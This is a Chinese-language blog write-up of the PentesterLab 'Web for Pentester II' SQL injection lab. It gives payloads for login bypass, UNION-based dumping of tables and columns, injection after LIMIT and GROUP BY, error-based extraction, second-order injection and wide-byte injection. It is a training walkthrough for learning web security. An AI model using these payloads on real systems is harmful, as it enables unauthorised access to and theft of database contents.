本文首发于安全脉搏,如需转载请联系安全脉搏取得授权
https://www.secpulse.com/archives/71035.html

0x00:序言

开始之前,先贴上官方题目说明:
https://pentesterlab.com/exercises/web_for_pentester_II/course

0x01:Example1

直接提交 1’

未作任何过滤就直接拼接了,直接万能密码 ‘ or ‘1’ = ‘1

0x02:Example2

输入1’发现报错

然后根据官方题目说明,知道这道题限制了只能返回一条结果

而万能密码1’ or ‘1’=’1永真,会返回所有结果,那么我们需要在语句最后加一句limit 0,1就可以了

0x03:Example3

看官方说明,第三题过滤了单引号,那么我们可以使用\来转义username后面第二个单引号,那么username第一个单引号就和password第一个单引号闭合了。
就像这样:
username=’\’ and password=’
然后我们构造
username=’\’ and password=’or 1=1#

0x04:Example4


页面url为:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username%3d%27hacker%27
url解码一下:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='hacker
我们在页面可以看到两列id和name
我们大概可以猜测,req是的值是表示通过什么查询,req=username就是表示通过name参数来查询用户,然后通过name=来查询用户。
然后我们试下req=id&id=1

可以看到查询成功了。

我们直接在后面加个 or 1=1就可以查出所有用户,很明显应该没有做任何过滤。

然后我们查一下有几个字段:

order by 3#页面返回正常
order by 4#页面返回错误

确定字段数为3
然后我们看回显位
username=’-1’union select 1,2,3#

可以看到这里有两个回显位,那么我们可以在回显位通过子查询来注出数据。
我们先查一下数据库:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1‘ union select (select database()),2,3#

然后我们查一下数据库中有哪些表:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1‘ union select (select group_concat(table_name) from information_schema.tables where table_schema = database()),2,3#

然后我们发现example4库中只有一个users表,然后查看一下user表的字段
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1‘ union select(select column_name from information_schema.columns where table_name=”users” limit 0,1),2,3#
limit 0,1 字段是id
limit 1,1 字段是username
limit 2,1 字段是password

然后我们将users表的信息都爆出来:

然后这道题大概就这样了

0x05:Example5

先测试下1’

可以看出limit的参数是limit后面的值,在mysql中limit后面可以用union select,但是不能用order by
比如我们用order by会出现错误:

而使用union select,则可以爆出字段数为3,其中有两个回显位:

可以查下数据库:

其它的都和Example4差不多了。

0x06:Example6

先加个1’测试下:

发现是在group by后面拼接,group by后面也只能拼接union select

发现1和2是回显位,其余就参考前面的Example5了

0x07:Example7

先加个1’测试下
然后使用order by爆出了列数为3

然后使用and union select 1,2,3#

发现只出现了报错信息,没有出现回显位,那么猜测是报错注入:
extractvalue:

updatexml:

两种都可以注入。

0x08:Example8

这道题真的坑人……
这里有两个输入框,user和password,下面有个create user的按钮
随便输入几个数据提交测试一下:

我们可以看到,这就是一个创建用户的页面。
刚开始猜insert会不会存在注入,后面看了官方文档后才知道是二次注入。
然后我看到输入的内容有username会被直接显示出来,就猜想会不会存在xss

于是我输入了如下的表达式:

然后点击id查看,然后发现报错了,刚好爆出了查询的sql语句:

我们点击id的时候,后台执行的sql语句会通过username查询出改username密码的哈希值
但是我构造1’union select 1,2,3#的时候并没有出现回显位,这时候我们就以为使用union select行不通了,然而事实并不是这样的
当我们使用a’union select 1,2,3#的时候,成功出现回显位

那么原因是什么呢?其实原因很简单,因为union select是将前面语句和union select查询的结果和后面的查询结果合并为一个数据集然后返回,而这里因为前面已经创建了用户名为1的用户,因此使用union来查询的时候,可能已经查找成功了,而这里又只能显示一个用户名,所以union的结果就不能显示出来了。
但是我们还是有办法通过id=1来union 查询出数据,如下:
id=1’ and 0=1 union select 1,2,3#
通过添加一个and 0=1使前面的式子永假就可以了,
获得了回显位,那么其它的就和前面一样的了。

0x09:Example9

直接提交1’,没有任何报错信息

发现单引号被过滤,那么就应该想到宽字节注入
试一下:
1%df%27

看到错误信息,确实存在宽字节注入:
1%df%27 or 1=1%23
注意在url中#需要写其url编码%23

最后更新: 2018年04月30日 09:13

原始链接: http://drac0nids.top/2018/04/19/PentesterLab-SQL-injections/

× 请我吃糖~
打赏二维码